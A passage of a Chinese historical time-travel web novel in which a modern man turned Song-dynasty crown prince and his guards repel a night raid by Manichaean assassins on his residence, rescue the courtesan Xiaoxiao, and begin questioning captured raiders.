一众侍卫便在宋宇的带领下悄声奔中院而去。
走到中院,杨辉正领着一帮家丁扯着嗓子大喊救火,宋宇等人也没和杨辉打招呼,悄悄溜到了一堵影背后。
刚躲到影背后,就听头顶上传来箭矢破空之声,随即身后家丁方向响
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起一阵惨叫声。
程保慌忙对宋宇说道“:不好,贼人带了**,听声音,家丁中不少人受伤了。”
宋宇心里一紧,慌忙对着周围大喊道“;所有人等,立马退回前院。”
一连喊了三遍。周围才慢慢静了下来。
宋宇长出了口气,自言自语道“:玛徳,玩真的啊?还带了**,这是奔着把我太子府灭门而来的啊。“
言罢,宋宇习惯性的朝旁边啐了一口唾沫,细细思量了一会,面色转喜,对着程保说道“:去,把前院大门拆下来,一会咱配合左右两翼冲锋的时候,用大门作掩护,遮挡**箭。”
程保点了点头,低声招呼了几个侍卫,不多时便将前院的俩大门卸了,扛到了影背后。
宋宇瞅了瞅这大门的厚度,有些不确定的问程保道“;这大门不会被射穿吧?”
程保一拍胸脯保证道“;殿下放心,就算是神臂弓,咱这大门也不怕。”
宋宇他们两人在这琢磨着怎么不被射死,余阶这边已经赶到了后院西墙跟,就见余阶对着一旁的侍卫小声嘀咕了几句。
便一个爬越,矫捷的翻过了院墙。其余侍卫有样学样,也都跟着翻了进去。
一跳进去,众侍卫便看到余阶对着自己等人嘘了一声。众人随着余阶所指的方向看去,只见好些黑衣人围在前门附近,队列整齐。
竹楼前还有十余个贼人。其余方向零零散散的有几个贼人张望,但注意力又多集中在大门方向。看来吸引注意力这招奏效了。
相较于竹楼方向,余阶等人所处的位置杂草繁茂,稍微弯腰就能躲过探查视线。
余阶观察完周围环境,小声吩咐道“:咱们悄悄摸过去,我来处理最近这个落单的。你们千万小声前行,不要打草惊蛇。“言罢,余阶猫着腰,迅速向前摸去,走到一落单的贼人附近,将手中铁剑抛出,就听嗤的一声,穿胸而过,贼人应声倒地。
这一连串的娴熟动作,颇为惊艳。若是宋宇在侧,少不得又得夸赞余阶一番。
余阶一击得手,摸上前去,拔出铁剑,象征性的挥了挥手,示意己方队伍继续行动。
随即回过头,借着草丛遮挡继续向前摸去。直待走到离后院大门不到二十米时,余阶借着熊熊燃烧的竹楼火光,发现对面也有一队人在向大门摸去,心中一喜,知道刘克庄也到了。便站起身来,大声喊道”:诸位,随余某杀贼!”喊罢,当先提剑冲了出去。
相对于余阶那边还杀了个贼人,刘克庄这边轻松了许多。这东边院墙,距离大门较近,刘克庄他们跳进来后,相距贼人也就二十余米。
在确定没被贼人发现后,刘克庄带领队伍向前走了数米便停下来观望。
却在这时,余阶出现在自己视线内,又听到一声喊杀传来,便见余阶率众当先冲向了贼人。
刘克庄顿时心中郁闷,赶忙四处扫了一眼。便见这些贼**约四十余人几乎全都集中在前门。
第二十九回 火烧小竹楼 后院大混战 (贰)
待刘克庄转过头向着火竹楼看去时,顿觉心里一紧,原来竹楼附近还有一群贼人在等待着什么。
不过人数不多,倒是不需太过担心。
又回头看向前门混战,两方异常焦灼。刘克庄不敢耽搁,喊了声“:都跟我来。”
领着身边侍卫直奔奔正在焦灼打斗的两方冲上去。
跑到余阶附近时,刘克庄生气地喊了声“:余兄弟,怎的不看清形势,便杀将起来?这贼人在竹楼还有不少人呢。”言罢,提着铁剑,刺向身边冲过来的贼人。
余阶杀敌之余,听到刘克庄喊自己,忙回道“:你我夹击,先解决眼前的,到时再收拾他们。”言毕,余阶左劈右刺,放倒一个贼人。
却不料斜刺里杀出一个手持弯刀贼人,身形矫健,一把弯刀在余阶面前舞的虎虎生风,滴水不露。
余阶暗道:还是个高手,自己若是大意,怕是会丢了性命,先拖住他,等刘克庄那边将贼人杀得差不多了,自然会来解救自己。
此时中院,程保对着宋宇说道“:殿下,喊杀声起了。咱们上吧?”
从未经历过厮杀的宋宇,听到程保催促,小腿肚子明显有些颤抖,但一想到余阶他们为了自己,正在拼死奋战。顿时提了提气,大声喊道“:杀贼!”
身边人早都等得不耐烦了,一听这声呼喝,扛起两扇大门,奔后院冲杀过去。
刚一出去,**兵阵脚并未骚乱的贼人中,立马有一人喊道“:冲过来了,打开大门,给我射。”
随着大门洞开,四五个贼人**手,齐刷刷的向宋宇这拨人第次射出**矢。宋宇被侍卫们围在中间,只听得前边箭矢凿门之声不绝于耳‘咚咚咚’。
但并未听到惨叫,心中稍定。知道自己这招管用了。大声对前边抗门的喊道“:给本殿下猛冲过去,用大门开出一条路来,大门之后人等,站成两排,专砍左右两边贼人。”
前边四个扛门的,听到后边宋宇喊话,也不知是从哪来的力气,杀猪似的喊叫着向前冲去。
待冲到后门之时,所有人帮忙用力往前推,只见两扇大门稍一倾斜,挤入后院。
刚才射**箭那些人,由于后边有余阶等人混战,无法后退,硬生生的吃下了冲击的所有力道。撞了个七仰八歪。
宋宇等人冲入门内约摸两米多后,双方僵在了当场,里面醒过神来的拼命将大门往回推,而宋宇这边除了四个扛门的,剩下的早都拔出了侍卫腰刀,朝左右大劈大砍过去。
由于附近都是**手,顿时被宋宇这边杀了个没脾气。一顿大砍大杀之后,周围空间被打开。地上横七竖八躺下不少尸体。
程保赵国一直将宋宇护于中间,宋宇被他俩挤得实在受不了了,大声喊道“:玛德,你俩别挤我了,还不赶紧冲上去杀贼。”
程保赵国不好意思的挠挠头“:刘大哥私下跟俺俩说了,要寸步不离,保护殿下。”
宋宇顿时大怒“:这刘克庄什么时候说的?本殿下怎么不知道?况且这府中是本殿下大,还是他大?你俩到底听谁的?”
程保赵国被宋宇呼喝一顿,不敢不从,临走有些不放心的回头道“:殿下,您就别往前冲了,您就在这大门后给兄弟们提士气就成。”
言罢还不放心,对着扛大门四人说道“:殿下交托给你们四个了,若是有失,咱一块死。”
宋宇白了他俩一眼“:本殿下知道如何保命,还不快走?”
程保赵国无奈,提着腰刀,奔大门后杀将过去。
宋宇看看左右,只见周围鲜血浸湿了地面,刚才一通大砍大杀,左右两侧没带短兵的贼人**手,已经悉数**,横尸当场。
这番场景,让宋宇对生死顿时有种全新的认识。都说乱世人不如狗,看来说的一点不错。
生命的成长过程或许很漫长,但消逝,往往就是一瞬间。
感慨完,满心好奇的宋宇又悄悄的摸到门边,观看起后院中的厮杀。一旁四个扛门的赶紧喊道“:殿下小心。”
宋宇回过头来,微笑着说道“:不妨事,贼人已经被咱们包围了,虽然对方人数占优,但咱们现在也没落得下风。你们把大门放开,出去厮杀吧。”
四人一听,你看看我,我看看你。互相摇了摇头。宋宇知道他们怕自己有事,赶忙说道“:去吧,本殿下这就退回前院。你们放心吧。”
言罢,宋宇故作乖巧微笑着退回了中院墙后。四名侍卫这才松了口气,相互递了个眼色,便将大门一扔,抽刀冲向前去。
宋宇看着四人冲了出去,暗自笑这些武人傻的可爱,掂了掂手中仁剑,自言自语说道“:走,陪本殿下玩玩去。”
便悄然走出了墙后。左右这么一扫。发现自己这边的侍卫,基本都被两三个贼人**。
顿时心中郁闷,怎的自己来到这古代,总被群殴呢?有没有光明正大的单挑啊?
宋宇心中诅咒了史弥远祖宗十八代。突然眼前一亮,看准了一对单对单的冤家,两人用的都是大刀,此时兵器角力之中,力道相当,谁也奈何不了谁。僵在了原地。
宋宇露出邪笑。偷偷摸过去。待摸到身穿黑衣的贼人身后,宋宇不禁犹豫了,自己该怎么杀他呢?
如果是砍,砍不死,他回过头来给自己一刀咋办?
要是刺,自己第一次用剑,万一力道太大,穿了糖葫芦,把自己人也给废了,岂不玩笑?
犹豫了片刻,宋宇眼神一亮,只见他微屈左腿,双手握剑,由右后向前从下往上一个挑刺,只听噗嗤一声,仁剑便从贼人的后臀中间那道缝刺了进去。
只听穿黑衣那贼销魂的叫了一声“:啊!哦...”回过头来,憋红了脸,对身后宋宇骂了句“:谁踏马这么不讲究,从老子后洞下刀子?”话一说完,倒地而死。
宋宇稀里糊涂挨了骂,顿时心中不爽,砸吧砸吧嘴,右脚踩着那人屁股,嗤嗖,将剑拔了出来,顿时一股臭味传来,宋宇赶紧捂住鼻子,大声回骂道“:麻蛋,晦气,晚上吃的韭菜炒鸡蛋吧?一股韭菜味...”
宋宇骂完还不解气,将那把沾了粑粑的仁剑在死尸身上来回蹭了好几下,直到剑身上黄色液体
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被擦干,才满意地收了手。
抬起头来扫视一圈,发现刚才比劲那侍卫并未走开,反倒看着自己犯愣呢。
心中顿觉郁闷,喊了声“:诶!想什么呢?赶紧去找下个对手,缠住他,本殿下给你帮忙。”
那侍卫一听宋宇说辞,顿觉后洞一紧,回了声诺,夹着双腿便又加入了混战。
宋宇看他那搞笑的走路方式,无奈的摇了摇头。便又四下打量起下一个目标来。宋宇这边偷袭成功,干掉一个。
余阶那边明显吃紧了。后院大门这边总共四十多个贼人,被宋宇那边一个冲锋,打掉了四五个**手,还剩三十多人。
照说太子府侍卫两边加起来近二十人,夹击三十余人,倒也不算吃紧,但坏就坏在,这前门贼人里,竟有几个好手。
余阶现在就被两个身手极好的黑衣人合力压制住了。要不是凭着自己独特的腿法,勉强支撑着局面,余阶恐怕早就落败**。
但若是没有功夫不错之人搭救,持久损耗下去,余阶迟早也会力竭被对面两人所杀。
只听余阶边躲边说道“:贼人好身手,只是看你二人刀法,恐怕并非我中原所传,莫不是明教余孽?”
其中一黑衣人听后哈哈大笑“:看你年纪轻轻,倒还有几分眼力,虽你剑法平平,但腿法着实了得,竟纠缠我二人如此之久,杀了你,着实有些可惜了。”
余阶挂满汗珠的面容尴尬一笑“:想杀余某,怕你两个还没这份能耐。”施展施展腿法,右手用剑逼开一人,这边双腿换位,对着另一贼人下盘一扫,刚才狂笑那位,登时跌倒在地。
余阶那边吃紧,刘克庄这边也没好多少。自打刚才刘克庄带人冲过来,便立马陷入了包围。
刘克庄这边几人,被对方十余人围住,交战之下,对方数人**,优势逐渐向着刘克庄这边倾斜。
就在胜利有望之时,却听竹楼方向喊杀声传来,刘克庄循声看去,就见竹楼那边的贼人悉数赶来支援。
刘克庄暗道不妙,这些人的加入,势必会让自己这一方刚刚取得的优势荡然无存。
不敢托大,刘克庄独自一人跳出战圈,迎着竹楼方向冲过来的贼人而去。
两方相遇,刘克庄立刻被对方十余人包围起来。不过双方并未动手,僵在了当场。
就听一个黑衣人询问旁边一位说道“:万总管,情势危急,对方就一人,动手吧。”
被称为万总管之人用左手捋了捋山羊胡子,阴声说道“;上。”
旁边贼人立马冲着刘克庄围杀过去。
刘克庄见对方动手,不敢怠慢,做了个起剑式,平身挥剑一扫,立马割破了数个冲过来之人的喉咙。
万总管见此,惊得张大了嘴巴,颤声说道“:我等今晚任务,怕是不易完成了。”
话刚说完,万总管耳边又传来‘砰’的一声巨响,,身边一人应声而倒。万总管大惊失色“:什么兵器?这么大声音?听着像打雷一般。”
旁边黑衣人慌忙提醒道“:总管,就算是真打雷劈下来,你我也要硬着头皮打赢。”
第三十回 火烧小竹楼 后院大混战 (叁)
万总管仍在惶恐之中:才一会功夫,自己带过来的相府好手便死伤数人,又听到旁边那人说就算真打雷,也要打赢,心中愈加惊惧,慌忙喊到“:太子殿下莫不是真命天子?有雷神庇佑?撤,快撤,此地不宜久留,快撤。”
万总管这近似疯了一般的呐喊,在这打斗声此起彼伏的庭院内异常突兀。
那万总管疯言疯语完了,也不管旁边之人仍在混战,撒丫子便往西边院墙跑。
正在混战的史府众人一看带头的都跑了,战意大减,纷纷比划几下,跳出战圈,四散而逃。
刘克庄见此,心中暗喜,还好这伙贼人胆小如鼠,不然还真要费些功夫了。
现在敌人破胆,正是赶尽杀绝的好时候。想到此,刘克庄大喊一声“:想走?太子府不答应。”言罢,刘克庄奔着最先逃跑的万总管追去。
就几分钟的时间,竹楼旁的贼人便被刘克庄一人一剑杀了个鸟雀散。大门旁正与余阶混战的两个黑衣人借着火光,是看了个清清楚楚。
只见一人骂道“:这帮贼杀才,把我等诓来,自己反倒跑了。真真的气煞我也。”
另一黑衣人也是无奈叹息一声“;唉!上梁不正下梁歪,史弥远是个什么货色,他手下便是什么货色,搂钱猴急,视人命如草芥,但真个到了自己生死攸关的时候,你让他**,他舍得那些个白花花的银子吗?”
旁边黑衣人接话问道“;那我等任务还做不做?”
听到他如此问,那似是领头人的黑衣人沉思片刻,回答道“:做,现今我方并未处于下风,你我二人可先将面前这厮宰了,再回过头去杀那些个废物。尚为时不晚。”
旁边黑衣人听到领头人如此口气,知道不拼是不行了。暗自冷哼了一声,拼尽全力奔着余阶攻去。
本已十分疲惫的余阶,被这两人一通乱砍,是左躲右避,好不容易才跳出了战圈,刚想喘口气,两人又不要命似的冲将过来。
余阶拄着铁剑,大口喘着粗气,自言自语道“:明教贼人,死到临头,还想拉小爷垫背。小爷今日便陪你俩玩个高兴。”
言罢,余阶深吸一口气,再次挺剑向前。
那边余阶的打斗越发白热化,这边宋宇在刚才偷袭得手之后,便躲在了阴暗处,伺机寻找下个目标,左等右等,直到双方杀的全都精疲力竭之后,宋宇才找到了第二个倒霉蛋。偷偷的摸向前去,快速出剑,一击得手。
宋宇心中顿时乐开了花,哪知旁边却突然传来一个声音“:众位兄弟小心啦!这有个穿白衣服的混蛋,专门捅人后洞。”
此话一出,周围顿时无数人回过头去看自己身后。在确定没有危险之后,全都将目光**到了一身白衣,异常醒目的宋宇身上。
宋宇看着十余道目光射来,咧嘴笑了笑“:那个穿白衣服的,该不会是说我吧?”
话音刚落,人数仍然占优的贼人,本来是两三人**一个,立马都抽出来一人,提着刀奔宋宇冲了过来。
宋宇一看形势不妙,转身就要逃跑,却听耳边传来程保杀猪似的喊叫“:殿下怎么这么不听话?不是让您躲好吗?”
本来人数还有富余的贼人一听程保所喊,传出一阵嗯?之声。立马又有数人奔宋宇而去。
宋宇回头看看,心中一惊,只见六七人拿着家伙,奔自己冲来。也顾不上骂程保嘴碎了,撒丫子便往前院跑,边跑边喊“:救命啊!**啦!”
宋宇边跑边喊,一口气跑出后院大门,事有凑巧,正好赶上华岳迎面跑来,宋宇一见华岳,有些意外,转而惊喜,喘着气喊道“:华兄弟,救我。”
哪知华岳一见是宋宇,未等宋宇把话说完,转身就要回去。
刚一转身,斜拉里瞄了一眼宋宇那边,就见宋宇身后的黑暗中,有数道黑影跟随。
华岳眉毛抖了抖,又逢宋宇后半句话音传来,心中大惊。赶忙正身持剑立于原地,大声喊道“:殿下莫怕,华岳在此。”
话刚说完,身后有一人突然扑在了华岳身上,原来是一直在中院指挥府内杂役的杨辉。
只见杨辉哈哈大笑着对华岳说道“:华兄弟,对不住啦。殿下有令...”杨辉话没说完,只见被自己死死抱住的华岳用剑一直指着前方。
循着方向看去,杨辉立马惊得从华岳身上跳了下来。哆哆嗦嗦说道“:华兄弟,快救殿下。”
言罢,躲在华岳身后,瑟瑟发抖。
宋宇自打看到华岳后,便不再喊叫,加快速度冲到了华岳身后,大口喘着粗气“:还好爷跑得快,不然肯定被人剁了馅。”
杨辉在一旁出声道“:殿下,这里交给华岳,你我先走。”
宋宇并未理会杨辉的劝告“:杨兄弟没有兵器,你先走。我来帮华岳。”
话刚说完,七个贼人已经冲到华岳身前停了下来,几个贼人上下打量了华岳一会,又回过头来互相看了看。
其中一人说道“:兄弟们,你看这小子满身的绷带,怕不是个善茬。不行咱们撤吧?”
立马有一个贼人恶狠狠的说道“:青衣圣使麾下,何时有过怕死之人?兄弟们上。”
言罢,那黑衣人带头冲了上去,哪知刚一动手,只听砰的一声,一直悄无声息的陈达动手了,一铳撂倒了这人。
华岳见此,虽有些吃惊于陈达武器声音巨大,但也就是一瞬间,回过神来,立马持剑向前杀去。
对面剩下的几个贼人早已被火铳之声吓得呆住了,只见华岳右手持剑左手搂住一个呆住的贼人,用力一捅,扎了个对穿。
华岳得手,并未迟疑,从**身上抽出义剑,双手紧握,迅速劈向紧邻的一个贼人。动作快速连贯,一气呵成。
此时旁边这贼早已回过神来,看到对方宝剑劈来,慌忙抽刀抵挡,结果还是算错了自己手中弯刀强度。
华岳力道极大,直接用义剑连人带刀将此人半拉脑袋肖了下来。一时脑浆迸溅。惨不忍睹。
剩余四人看到自己这边眨眼间**三个,顿时大乱,也顾不得厮杀了,弃了弯刀,夺路而逃。
哪知华岳更快,向前跨步,左手早已挽住
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一想要逃跑之贼脖子,力道之大,任凭此贼拼命挣脱,也是无济于事。
华岳不管手中之贼,将右手宝剑抛出,呲啦,另一逃跑之贼背部被义剑贯穿,应声倒地。华岳右手腾出,双手一使劲,怀中拼命挣扎的贼人便被华岳硬生生拧断了脖子。
正此时,火铳声再次响起,又一逃跑中贼人应声而倒。
宋宇看到华岳电光火石之间手刃四贼,不自觉的拍起手来,边拍手边喊道“:华兄弟好身手,若非伤势未愈,这几个草贼恐怕皆会死在此处。”
华岳看着剩下最后一个贼人跑远,无奈的摇摇头“:主要是腿伤未愈,不然定能全歼。”
语毕,华岳看向远处陈达,有些惋惜的说道“:陈兄弟怎的不快些射暗器?”
陈达一直在忙活着装填火铳,听到华岳询问,擦了擦额头汗水,一脸无奈的说道“:此物虽然犀利,但装填着实费事。实怪不得小弟。”
宋宇看他俩墨迹,打断道“:两位兄弟,此事容后再说,我逃出来时,余兄弟那边吃紧,我等速速前去。”
两人听到宋宇下令,不敢耽搁,喏了一声,随着宋宇快步朝后院走去。
独独留下杨辉一人呆呆地站在人去楼空的院中:乖乖!殿下这都从哪找来的这些个豪杰?一个个都犹如神兵天降似的?
话说殿下这胆量,放在大宋历代皇帝中,应该算是鹤立鸡群了吧?这样的殿下他日坐在那个位子上,我大宋要争气了?
杨辉自顾自地意淫,却道宋宇引走七个贼人后,后院形式大变,由于有数个贼人追宋宇去了,太子府那些个侍卫顿觉轻松不少。
其实若论身手,太子府这些侍卫恐怕和贼人不相伯仲,甚至是略占下风,但因为穿了铠甲,戴了头盔,比之黑袍裹身的贼人,战斗力增强了不少。
再加上宋宇一直在一旁晃悠,这些侍卫仿佛打了**,愣是以一敌二敌三,可谓是超常发挥了。
刚才以一敌多尚且坚持住了,现在单挑,更是不在话下。眼见这后院之中贼人越打越少,两个**余阶的头领样人物心中越加着急,但余阶一直与两人纠缠,愣是让他俩抽不出一个人去扳回局势。
只听得身份略低的贼人询问道“:圣使,撤吧,再不撤,恐怕没机会了。”
被人唤作圣使之人无奈的叹了口气“:唉!想不到这太子府中,竟然卧虎藏龙。今日本使认栽。也罢。”
随即朝旁边大声喊道“;兄弟们,留得青山在,不怕没柴烧,撤。”
转过身来又对旁边黑衣人说道“:刘副使,你也撤吧,本圣使给你们断后。”
言罢,圣使将身边的刘副使推搡向身后,阴声喊道“:你一定要逃回总坛,告诉教主,今后莫要再任史弥远摆布了,不然本使今日死不瞑目啊!”
刘副使听到圣使说辞,顿时泪流满面,痴痴的恩了一声,转身就要跳入草丛逃走。
哪知身后传来刘克庄的声音“;想走?没那么容易,敢打我太子府的主意,刘某今日让你们有命来,没命回。”
第三十一回 火烧小竹楼 后院大混战 (肆)
话音刚落,刘克庄利剑抛出,刘副使刚刚纵身跳起,躲避不得,被刘克庄一剑扎了个对穿。甚至来不及惨叫一声,便倒死在地。
圣使转身看看死在地上的刘副使,心中恨意腾起,大声吼道“:赶尽杀绝?真真的气煞我也,今日本使就是死,也要拉你们两个垫背!。”
吼完,甩着大刀,不要命似的冲向面前的余阶攻去,余阶看对方来势凶猛,不敢硬接,几个鹞子翻身,接连退出去六七米,才堪堪稳住身形。
定睛看了看圣使,只见几近癫狂状态的圣使,与刘克庄一刀一剑打的有来有回。
圣使不由大骂出口“:该死的史弥远,来时只说太子府一群酒囊饭袋,纯粹是一派胡言,本圣使现在又碰到一个用剑行家。看来今日吾命休矣。”
余阶稍作喘息,再次提剑加入战团。两人联手下,圣使只剩招架之力。
此时宋宇已经走到后院,打眼扫了一圈周围情况,就见面前一地贼人的尸体,剩余为数不多的贼人,已经被府内侍卫杀的毫无招架之力,围困在不大的圆圈之内,背靠着背,妄图做困兽斗。
见这边局势已定,宋宇正想找寻余阶身影,哪知面前这群被围的贼人竟然齐声喊了起来“:
熊熊圣火,
永照我心。
圣火不熄,
灵魂不灭。”
言罢,齐齐握刀自刎,一时鲜血迸溅,尸体交叉倒地。
满院的尸体,遍地的血渍,以及空气中弥漫的血腥味,刺激着这位后世穿越而来的宋宇。
看着面前残忍的一幕,宋宇叹了口气:生命,在这些人眼里,真的是很不值钱啊!
随即愤愤然的说道“:一个个不怕死的好男儿,正值青春年华,却偏偏要为史弥远那样的人献出生命,死的实在是太亏了。”
一旁的华岳听到宋宇叹息,不知怎的,心中暖洋洋的。拍了拍宋宇肩膀,温柔地劝道“:殿下不必惋惜,这些人不识天数,投身邪教,和当如此收场。”
宋宇转过头来严肃的看着华岳,说出了一句意味深长的话“:到底是我大宋官场邪气太盛,还是他邪教自以为正气凛然?依竑看来,若是百姓安乐,鬼才会投身邪教吧?”
言罢,宋宇也不再理会华岳,慢慢走到程保面前,温柔的说道“:将这些人厚葬吧。”
程保一听,有些不乐意,此时的他满身鲜血,握刀那只手,由于长时间厮杀,仍在止不住地颤抖,只见他大口的喘着粗气说道“:殿下,这些人可是想要咱们的命啊。”
宋宇拍了拍程保肩膀“:这些人都是走投无路的穷苦百姓,为了吃口饭,一时走上邪路,也怪不得他们。要怪只能怪我大宋不争气,贼相窃国,奸佞横行。”
程保听了宋宇的劝说,不情不愿地喏了一声。吩咐身边人等开始收拾死尸。
宋宇继续向前走去,穿过人群,便看到还有一个贼人手持弯刀,站在小径上与余阶和刘克庄对峙。
见宋宇走过来,大声喘着粗气说道“:多谢阁下给我明教兄弟收尸,本圣使在这里谢过阁下了。”
宋宇却苦笑着摇了摇头,暗道:看来,面前这人好像在明教中还是个不小的头头。
记得水浒传里面的方腊便是以明教背景起义的,方腊之后,建炎年间,又有王念经起义。
起义规模最大时,人数二十余万,后来被刘光世平定了。明教自此,便安静了不少。
想不到自己竟然能有幸碰上,而且是被史弥远利用的。想这明教尊张角为祖,崇尚光明,自视甚高,竟然也会与史弥远这样的人有勾结。
也不知这史弥远给这帮人灌了什么**汤,竟然拼了命的想弄死自己。出于好奇,宋宇微笑着问道“:原来是明教圣使大驾光临,只是不知一向视官府为仇敌的贵教,为何会听史弥远的?”
听到宋宇询问,圣使脸色微红,闷声说道“:要杀便杀,何必多此一问?”
宋宇讨了个没趣,知道面前这个人什么都不会告诉自己,暗自思量要如何处置此人。
若是自己把他杀了,与明教的梁子,怕是就此结下了,像明教这种疯狂的宗教组织,自己若是把对方逼急了,恐怕以后出门都得多加小心。毕竟谁脸上都没写着明教俩字。
而且此事因史弥远而起,明教任务失败,依史弥远的脾气,会不会怪罪明教?自己若是放了此人,明教会不会减轻对自己的敌意?
权衡利弊,只听宋宇朗声说道“:既然如此,阁下走吧,本太子平素便闻贵教行事光明磊落,想来此事贵教定是有那不得已的苦衷。今日贵教已经**如此多人,本太子不想在与贵教结下更深的冤仇了。”
言罢,宋宇又大声补了一句“:圣使,请慢走。恕不远送。”
圣使闻言,惊得张大了嘴巴,半晌才回过神来,有些感激的说道“:罢了,阁下仁义,本使回到教中,定然会劝服教主,今后不会再来叨扰阁下了。”圣使说完,扔下弯刀,奔院墙而去。
宋宇听了对方说辞,暗道还真是个讲义气的汉子,减轻明教对自己仇怨这件事,十有**能成。至于他们会不会都算在史弥远头上。那就听天由命了。
想到这,宋宇心中不禁对明教这群人有了一丝好感。不管什么时代,被人利用的人总是最可怜的,这明教被史弥远利用一次,**如此多人,恐怕史弥远下次想要故技重施,是门都没有了。
看到事情已了,余阶走上前来“:殿下如此做事,颇为妥当。今日殿下若是杀了那人,恐怕今后会在多一个敌人。反倒合了史弥远心意。”
宋宇看着面前仿佛蒸了桑拿似的,浑身湿透的余阶,关切地问道“;余兄弟没受伤吧?”
余阶擦了擦额头的汗水,爽朗的说道“:多谢殿下关心,小弟只是热的一身汗水,并无损伤。”
语毕,一指旁边刘克庄“:殿下,刘大哥真是深藏不露啊,稼轩剑法更是破贼利器。”
刘克庄边笑边说道“:余兄弟也是腿法高深,不遑多让。若非余兄弟拖住两个明教好手,刘某可就要吃苦头了。”
相比于
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余阶的疲惫模样,刘克庄轻松不少,从面上看,虽有汗水,却气息平稳,比余阶状态好了不少。
“;糟了,光顾关心你们,忘了正事了。”
宋宇突然想起了什么似的,撒开丫子奔着燃烧的竹楼跑去,边跑,边大声喊叫“:小小,你在哪?”
待跑到竹楼前,就见诺大的双层竹楼,已经烧的面目全非。仅剩一层还有些许支撑,不过在熊熊烈火的吞噬下,为数不多的竹子噼里啪啦作响。看来距离完全倒塌,只是时间问题。
“:完了,怎么把小小给忘了?”
看着面前的一幕,宋宇焦急的自言自语道“:看这样,小小八成被烧死在里面了。我当初还信誓旦旦的说,要让我和她的缘分走得更远一些。想不到。”
话到此处,宋宇有些哽咽,想自己穿越来碰上的第一个人就是小小,这丫头还温柔的给自己包扎伤口。
不由自主地从怀中拿出小小给自己包扎伤口的绣帕,上面还残存着小小身上特有的香味。宋宇一时控制不住,眼泪夺眶而出“:小小,都是我连累了你。话说人的生命,怎么如此脆弱?前有一群人为了那个史弥远,轻生**,后有小小你被史弥远当作物品一样,随意烧死。难道,没有投胎到好人家,就要被这些有钱有权的,当作物品一样使用,丢弃吗?这踏马究竟是个什么世道?”
说到这,宋宇愈发激动,竟然右手指天,大声开骂“:老天爷,你是瞎了眼了吗?像是史弥远这样的混蛋,把人像垃圾一样,随意烧毁?你却让他史弥远坐到了一人之下,万人之上的位置,而像小小这样的姑娘,你把人家直接扔妓院里长大。还有天理吗?”
也不知是宋宇得罪了老天爷,还是火势过大,热空气上升引来天变。
就见一道闪电划过夜空,不多时雷云滚动,雨点哒哒哒的摔落在宋宇周围。
不多时,宋宇便被浇了个落汤鸡,不过雨势不大,对于竹楼大火,仍是杯水车薪。
余阶等一众府内之人已经开始井然有序的救火。
独留下宋宇一人雨中独自矗立火楼前。其他众人也很有默契的,没有上前。
不知过了多久,大火被扑灭,一众兄弟都识趣的往回走收拾满院尸体,留下余阶最后来了句“:殿下,逝者如斯,生者已矣。夜深雨冷,还请殿下保重身体。”
“:让我在这里多呆一会吧,我心里不太好受。”
宋宇一脸沮丧的对着余阶回道。
余阶识趣的退下,站在了不远处等待宋宇。
却在这时,竹楼旁的竹林传来一道温柔的声音“:殿下,没想到你还怪舍不得小小咧!”
宋宇循声看去,就见小小从竹楼旁的竹林中向自己走来。
宋宇转忧为喜,紧走几步,将小小揽入怀中,像刚穿越来时那样,不停的抚摸着小小的满头秀发。
“:我还以为,你我的缘分到此为止了。”
小小莫名的推开了宋宇,向后退了两步,指着浑身上下被烧得黢黑的衣服“:喏!差点烧死。”
第三十二回 险胜纵火贼 怕死就好说
宋宇赶忙询问“:你怎么逃出来的?”
“:别提了,小小正睡得香甜,就被火光照醒,本想下楼逃生,却听楼外有不少脚步声,吓得小小只好暂时躲在火小的地方。还好那些贼人半路上被殿下带来的人吸引走,不然,小小怕是无缘再见殿下了。”
说到这,小小惊魂未定的抚着胸口顺气,看来受了不小的惊吓。
宋宇再次摸摸小小的头“:为什么不第一时间出来相见?躲在竹林里,让我好生担心。”
小小叹了口气,将怀里抱着的包袱拉开一脚,只见里面全是首饰金银,银票之类的“:像我们这些风尘女子,不过是大官人们的玩物,玩够了,随便丢弃那是家常便饭。本来想等没人了,小小便带着金银独自离去。不过,不过刚才看到殿下如此伤心,小小,决定信殿下一次,让你我的缘分,走得更远一些。”
说着说着,小小声音越来越小。
宋宇无奈摇头叹气:看来这小小把自己也归类为大官人行列了。
不过宋宇并未生气,心里暗道:对于小小这样的姑娘来说,对着大官人逢场作戏是职业所需。动真感情?还是算了。大家都是为了银子而已。
现在这姑娘选择出来相见,已经给足自己面子了。就冲这,自己就胜过他史弥远无数倍了。
“:是这个时代,这大宋,这些个穿着衣冠的禽兽,伤害到小小姑娘你了。不过小小莫怕,从今往后,只要我赵竑还有一口气在,绝对不允许任何人再把你当作物品一样,送来送去,把玩够了,随便丢弃。”
小小望着宋宇认真的样子,嗤笑一声“:那小小我可是撞了大运了。殿下您可要说话算话!”
余阶这时走上前来“:恭喜小小姑娘大难不死。”
对着小小说完,又寒暄两句,随即转头对着宋宇汇报道“:殿下,大火扑灭,贼人全歼,大伙都在处理尸体,打扫院落。不过刘克庄那边,抓了几个活得,殿下要不要去看看?”
宋宇一听有活口,不敢耽搁,让余阶头前带路,奔着刘克庄所在而去。
不多时,与刘克庄会和,就见刘克庄领着几个侍卫,押着几个贼人正在询问。
见宋宇走过来,刘克庄对着宋宇禀报道“;殿下,兄弟今日碰上了一伙胆小的贼人,貌似和明教不是一伙的。便打晕打残了几个,现在将他们集中到了一块,正要询问。”
宋宇看着跪在自己面前的几个贼人,厉声开口问道“;你等也是明教人众?”
下边跪着的几人一听宋宇大声喝问,又看到宋宇身后一帮侍卫在火把的印照下,将一具具明教人众的尸体搬出了后院。但却并未见到有活着喘气的,顿时都吓呆了。
只见其中一人跪在地上磕头如捣蒜“;太子饶命啊,小的们并非明教中人,我等其实是相国大人府上家丁,听到有打斗声,特来助太子杀贼的。”
宋宇听了那人回答,很是意外,本想若是明教中人,便大声呼喝几句,吓吓他们,然后哪来的,回哪去。
结果这些人真如刘克庄所说,不是明教的。还不经吓,稍一呵斥就不打自招,直接报了自己身份。顿时让宋宇心中乐开了花。
只见宋宇眼珠子一转“:咳恩,本太子且问你等几句话,若是老实交代,便饶尔等性命。若是不配合。”
言罢,指了指身后一地的尸体,阴狠的说道“:本太子不介意地上再多几条尸。”
几人一听还有活命的机会,慌忙涕泪横流的磕头谢恩。
宋宇见他们如此怕死,心中暗道:这才应该是史弥远的爪牙该有的样子。那些明教之人,太不怜惜性命了,搞得我都怀疑史弥远麾下全是义士。
想到此,宋宇摆了摆手“:不忙谢,我且问你等,今晚史相派的何人带队啊?”
跪在地上的几个人,你看看我,我看看你,最后将目光全都**到了刚才说话那个贼人身上。
